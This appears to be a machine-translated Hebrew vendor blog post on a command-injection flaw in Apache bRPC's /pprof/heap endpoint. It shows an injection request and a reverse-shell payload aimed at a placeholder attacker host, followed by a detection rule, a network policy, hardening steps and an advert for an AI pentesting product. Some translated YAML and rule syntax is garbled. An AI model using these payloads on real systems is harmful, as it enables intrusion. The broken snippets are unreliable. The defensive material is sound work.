בעולם התחרותי של מערכות מבוזרות, Apache bRPC מהווה זה זמן רב את עמוד התווך של שירותי מיקרו C++ ברמה תעשייתית, ומוערך בזכות ביצועיו ואמינותו. עם זאת, גילויו של CVE-2025-60021 גרמה לתהודה בקרב קהילת מהנדסי האבטחה. פגיעות זו אינה נובעת מכשל קריפטוגרפי מעורפל או מבאג מורכב של פגיעה בזיכרון, אלא נובעת מפיקוח בסיסי בטיפול בכלי פרופיל פנימיים.
עבור מהנדסי אבטחה בכירים ו-SRE, CVE זה משמש כמקרה בוחן קריטי לאופן שבו "תכונות נוחות" — ובפרט /pprof/heap נקודת קצה — עלולה להפוך לנקודת התורפה האולטימטיבית של סביבת ייצור מחוסנת.
הליבה הטכנית: לוגיקה לא מטוהרת בפרופילר הערימה
הפגיעות טמונה בשרת HTTP המובנה שמספק bRPC, אשר לרוב מופעל כברירת מחדל כדי לסייע למפתחים בביצוע ניטור ובאיתור באגים בזמן אמת. באופן ספציפי, ה- /pprof/heap שירות, המשמש לממשק עם jemalloc לפרופיל זיכרון, מכיל פגם קריטי בהיגיון עיבוד הפרמטרים שלו.

תהליך העבודה בנושא פגיעות
כאשר שרת bRPC מקבל בקשת HTTP המכוונת ל- /pprof/heap, הוא מקבל פרמטר שאילתה בשם אפשרויות נוספות. פרמטר זה נועד להעביר דגלים נוספים לסקריפט הפרופילר הבסיסי (כגון jeprof).
הכשל האבטחה מתרחש בשלב בניית הפקודה. מסגרת ה-bRPC לוקחת את המחרוזת המסופקת ב- אפשרויות נוספות ומחבר אותו ישירות לפקודת מעטפת מערכת. מכיוון שהקלט אינו מנוטרל כנגד תווי מטא של מעטפת (לדוגמה, ;, &, |, “`), תוקף יכול לפרוץ את הקשר הפקודה המיועד ולבצע קבצים בינאריים שרירותיים עם הרשאות של תהליך bRPC.
CVE-2025-60021 מטריצת פגיעות
| מטרי | מפרט |
|---|---|
| סוג הפגיעות | CWE-77: נטרול לא תקין של אלמנטים מיוחדים המשמשים בפקודה |
| ציון CVSS 4.0 | 9.8 (קריטי) |
| גרסאות מושפעות | גרסאות Apache bRPC שקדמו ל-1.15.0 |
| גרסה קבועה | Apache bRPC 1.15.0 |
| וקטור התקפה | רשת (לא מאומתת אם יציאת הניהול חשופה) |
הנדסת הניצול: מהגילוי ועד ה-Shell
כדי להבין את חומרת הבעיה, עלינו לבחון כיצד תהליך בדיקת חדירה אוטומטי יזהה וינצל נתיב זה. תוקף מתוחכם לא מחפש רק "יציאות פתוחות"; הוא ממפה את הנוף הסמנטי של המסגרת.
זיהוי שירות ובדיקה
מקרה טיפוסי של bRPC חושף את המדדים הפנימיים שלו ואת כלי הפרופיל שלו ביציאה ייעודית (לעתים קרובות 9002). מהנדס המבצע שלב סיור יחפש את שרת: brpc כותרת או נוכחות של /brpc_metrics נקודת קצה. לאחר זיהויו, נוכחותו של /pprof/ הספרייה מאשרת את שטח ההתקפה.

בניית מטען
ההזרקה פשוטה אך קטלנית. באמצעות שימוש במסיימי מעטפת מקודדים ב-URL, תוקף יכול לעקוף בדיקות קלט שטחיות.
HTTP
GET /pprof/heap?extra_options=;whoami;ls+-la HTTP/1.1 Host: internal-service:9002 Accept: */*
בתרחיש אמיתי, המטען יהיה אגרסיבי יותר, וינסה להקים מעטפת הפוכה או להוציא משתני סביבה המכילים אישורי גישה למסד נתונים או מפתחות API.
באש
# Example of a reverse shell payload via extra_options extra_options=";+bash+-c+'bash+-i+>%26+/dev/tcp/attacker-ip/4444+0>%261';"
הנדסת הגנה רב-שכבתית
הסתמכות בלעדית על תיקון תוכנה היא אסטרטגיה תגובתית. מדיניות אבטחה איתנה דורשת "הגנה מעמיקה", המשלבת בידוד ברמת הרשת, זיהוי פריצות וניטור זמן ריצה.
1. זיהוי חדירות: כללי Snort ו-Suricata
כדי לזהות ניסיונות ניצול במעבר, צוותי האבטחה צריכים לפרוס חתימות ספציפיות בהיקף הרשת או במערכת זיהוי חדירות מבוססת מארח (IDS). כללים אלה מחפשים את השילוב של /pprof/heap תווים המציינים נתיב ו-shell בתוך מחרוזת השאילתה.
חתימת Suricata / Snort:
התראה tcp כל כל -> $HOME_NET [9000:9010] (msg:"ניסיון ניצול Apache bRPC CVE-2025-60021 הזרקת פקודה"; \\ flow:established,to_server; \\ content:"GET"; http_method; \\ content:"/pprof/heap"; http_uri; \\ content:"extra_options="; http_uri; \\ pcre:"/extra_options=.*[;&|]/U”; \ reference:cve,2025-60021; \ classtype:attempted-admin; \ sid:2026001; rev:1;)`
2. בידוד תשתית: מדיניות רשת Kubernetes
אם אתה מפעיל שירותי bRPC בתוך אשכול Kubernetes, עליך להגביל את הגישה ליציאות הניהול. מדיניות הרשת הבאה מבטיחה שרק פודים ניטור אמינים (כמו Prometheus) יוכלו לגשת ליציאות bRPC, ובכך לנטרל ביעילות את וקטור התקיפה המרוחק הלא מאומת.
מדיניות רשת Kubernetes (YAML):
YAML
`apiVersion: networking.k8s.io/v1 סוג: NetworkPolicy מטא-נתונים: שם: restrict-brpc-management-access מרחב שמות: production מפרט: podSelector: matchLabels: app: brpc-service policyTypes:
- כניסה לכניסה:
- מאת:
- podSelector: matchLabels: app: prometheus-monitoring ports:
- פרוטוקול: TCP יציאה: 9002
- מאת:
- ipBlock: cidr: 10.0.0.0/8 # יציאות משנה פנימיות מוגבלות של מנהל המערכת:
- פרוטוקול: יציאת TCP: 9002`
"רגע טיורינג" של בדיקות חדירה: אבטחה אוטונומית
גילוי CVE-2025-60021 מדגיש פער קריטי בתהליכי אבטחה מסורתיים: הזמן הנדרש לתיקון פגמים לוגיים במבנים מורכבים. כלי ניתוח סטטיים לעיתים קרובות מפספסים את שרשראות הפקודות הדינמיות הללו, ובדיקות חדירה המבוצעות על ידי בני אדם מתבצעות בתדירות נמוכה מדי מכדי לאתר כל CVE חדש.
זו בדיוק הבעיה. Penligent.ai נבנה כדי לפתור. כ ההאקר הראשון בעולם עם בינה מלאכותית סוכנתית, Penligent חורג מגבולות האוטומציה המבוססת על סקריפטים.
בניגוד לסורק סטנדרטי שבודק את מספר הגרסה, הסוכן Penligent "חושב" על היעד. הוא מגלה באופן אוטונומי את שירות bRPC, מבין את המטרה הסמנטית של /pprof נקודת קצה, ומנסה לאמת את נתיב ההזרקה באמצעות מטענים לא הרסניים ומודעים להקשר. במקרה של CVE-2025-60021, Penligent יכול לזהות, לאמת ולהציע נתיב תיקון בכל התשתית שלכם בפחות מ-60 שניות.
על ידי שילוב Penligent ל-CI/CD ולניטור הייצור, אתם עוברים ממחזור תיקונים תגובתי למודל הגנה יזום ואוטונומי הפועל במהירות של ניצול פרצות מודרניות.
מפת דרכים לתיקון עבור מנהלי אבטחה
כדי למזער באופן מלא את הסיכונים הקשורים ל-CVE-2025-60021, פעל לפי מפת הדרכים ההנדסית הבאה:
- תיקון מיידי: עדכן את כל התלות של Apache bRPC ל- גרסה 1.15.0 או מאוחר יותר. גרסה זו מחליפה את ביצוע הפקודה הישיר במאמת פרמטרים קפדני המבוסס על רשימת אישור.
- בדיקת תצורות ברירת מחדל: בדוק את קוד האתחול של bRPC. אם פרופילציה אינה הכרחית להפעלת הייצור, השבת את שרת ה-HTTP הפנימי או בטל במפורש את הרישום של
/pprofמטפלים. - סינון יציאה: הטמיעו כללי יציאה מחמירים עבור שירותי המיקרו שלכם. שרת bRPC לעולם לא צריך ליזום חיבור יוצא לכתובת IP לא ידועה ביציאות shell הפוכות נפוצות (למשל, 4444, 8080).
- ניטור זמן ריצה: השתמש בכלים מבוססי eBPF (כגון Tetragon או Falco) כדי לפקח על תהליכים משניים חשודים שנוצרו על ידי קבצי bRPC בינאריים, כגון
/bin/shאו/usr/bin/nc.
מסקנה: הצורך בהגנה מתקדמת
CVE-2025-60021 מהווה תזכורת חדה לכך שגם המסגרות התעשייתיות החזקות ביותר נתונות לטעויות הנדסיות פשוטות. עבור מהנדס האבטחה המודרני, האתגר כבר אינו רק למצוא באגים, אלא לבנות מערכות שיכולות לזהות אותם ולהגן מפניהם באופן אוטונומי. ככל שאנו מתקדמים לעבר עידן של פיתוח מונחה בינה מלאכותית ופריצות אוטונומיות, כלים כמו Penligent.ai אינם עוד מותרות — הם תנאי הכרחי לשמירה על גבול בטוח ועמיד.

